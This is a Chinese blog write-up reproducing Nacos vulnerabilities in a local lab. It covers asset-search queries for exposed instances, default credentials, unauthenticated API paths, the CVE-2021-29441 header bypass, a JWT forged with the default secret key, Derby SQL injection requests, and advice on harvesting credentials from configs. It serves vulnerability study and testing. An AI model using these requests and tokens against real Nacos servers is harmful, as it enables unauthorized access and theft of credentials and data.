目录
1. 前言
2. Nacos
2.1 Nacos介绍
2.2 鹰图语法
2.3 fofa语法
2.3 漏洞列表
未授权API接口漏洞
3 环境搭建
3.1 方式一:
3.2 方式二:
3.3 访问方式
4. 工具监测
5. 漏洞复现
5.1 弱口令
5.2 未授权接口
5.3.1 用户信息 API
5.3.2 集群信息 API
5.3.3 配置信息 API
5.3 CVE-2021-29441 Nacos权限认证绕过漏洞
5.4 Nacos token.secret.key默认配置(QVD-2023-6271)
5.4.1 验证漏洞
5.4.2 构造JWT token
5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)
5.5.1 漏洞复现:
5.5.2 工具复现
5.5.3 一些常用的查询语句
5.6 CVE-2021-29441 Nacos权限认证绕过漏洞
5.7 Nacos-client Yaml反序列化漏洞 和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065)
6.其他利用方式
7.总结
1. 前言
最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.
刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.
免责声明
博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.
下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.
2. Nacos
2.1 Nacos介绍
Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易
2.2 鹰图语法
app.name="Nacos"
2.3 fofa语法
app="Nacos" && icon_hash="1227052603" && country="CN"
2.3 漏洞列表
Nacos控制台默认口令漏洞 漏洞影响版本:所有版本 | nacos/nacos |
CVE-2021-29441 Nacos权限认证绕过漏洞 | /nacos/v1/auth/users?pageNo=1&pageSize=1 |
未授权API接口漏洞 | 用户信息 API: /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改) 集群信息 API: /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword= 配置信息 API: /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant= &search=accurate&accessToken=&username= |
Nacos token.secret.key默认配置(QVD-2023-6271) 漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0 | /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt |
Nacos User-Agent权限绕过(CVE-2021-29441) 漏洞影响版本: Nacos <= 2.0.0-ALPHA.1 | http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 这个版本环境很低,需要的师傅可以搭建环境自行复现 |
Nacos-client Yaml反序列化漏洞 漏洞影响版本: Nacos-Client < 1.4.2 | 具体看下面复现 |
Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3 | 开放7848端口 |
Nacos Derby SQL注入漏洞 (CNVD-2020-67618) | derby数据库 /nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables |
nacos+spring actuator | 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos |
3 环境搭建
本次Nacos漏洞复现环境都是在Linux环境下进行复现的
3.1 方式一:
直接下载
下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
进入目录
cd nacos
cd 进入nacos的bin目录
启动
./startup.sh -m standalone
关闭
./shutdown.sh
3.2 方式二:
因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.
Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客https://blog.csdn.net/Ahuuua/article/details/108584355 直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速
https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz
然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
进入目录
cd nacos
cd 进入nacos的bin目录
启动
./startup.sh -m standalone
关闭
./shutdown.sh
3.3 访问方式
ifconfig # 注意和win查本机ip的方式有点不同
访问ip:8848/nacos/#/login
下面我的测试环境都是以搭建的虚拟机环境ip地址为准
访问环境地址,出现下面的界面,代表搭建环境成功.
4. 工具监测
在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.
charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)https://github.com/charonlight/NacosExploitGUI 可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.
java -jar NacosExploitGUI_v4.0.jar
因为是老版本,所以包含所有历史漏洞,扫描结果如下:
5. 漏洞复现
5.1 弱口令
Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下
一般会存在一个test/test的用户,也可以进行尝试
5.2 未授权接口
在未登录情况下的登录界面直接拼接下面的api接口
5.3.1 用户信息 API
/nacos/v1/auth/users?pageNo=1&pageSize=5
这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令
显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.
5.3.2 集群信息 API
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
5.3.3 配置信息 API
通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid postgresql mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=
5.3 CVE-2021-29441 Nacos权限认证绕过漏洞
验证漏洞
http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
在浏览器直接访问是get请求:
http://192.168.10.14:8848/nacos/v1/auth/users
在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu 参数你可以在登录界面抓一个包就知道为什么是这个格式了.
用xiaoyu/xiaoyu进行登录
5.4 Nacos token.secret.key默认配置(QVD-2023-6271)
复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.
环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
注意需要先开启鉴权,不然登录是不需要使用JWT的
Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。
密钥的固定的默认值
SecretKey012345678901234567890123456789012345678901234567890123456789
5.4.1 验证漏洞
这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网
不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了
http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate
2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.
老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户
5.4.2 构造JWT token
先访问接口
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate
其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试
exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间
默认泄露了key,就是下面的全部
SecretKey012345678901234567890123456789012345678901234567890123456789
{
"sub": "nacos",
"exp": 1718012869
}
时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日
按图所示填写对应的palyload和key,拿到伪造的JWT
JWT构造网站
https://jwt.io/
时间戳生成网站
https://tool.lu/timestamp/
在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0
重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面
5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)
这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试
Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.
5.5.1 漏洞复现:
/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
5.5.2 工具复现
5.5.3 一些常用的查询语句
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
5.6 CVE-2021-29441 Nacos权限认证绕过漏洞
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security
正常情况下:
在请求头中添加绕过后,出现下面的信息,说明权限绕过了
5.7 Nacos-client Yaml反序列化漏洞 和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065)
这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.
Nacos 漏洞利用总结 | h0ny's bloghttps://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/
6.其他利用方式
可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid postgresql mongodb等配置信息,若是存在云环境、文件系统,还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.
7.总结
本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.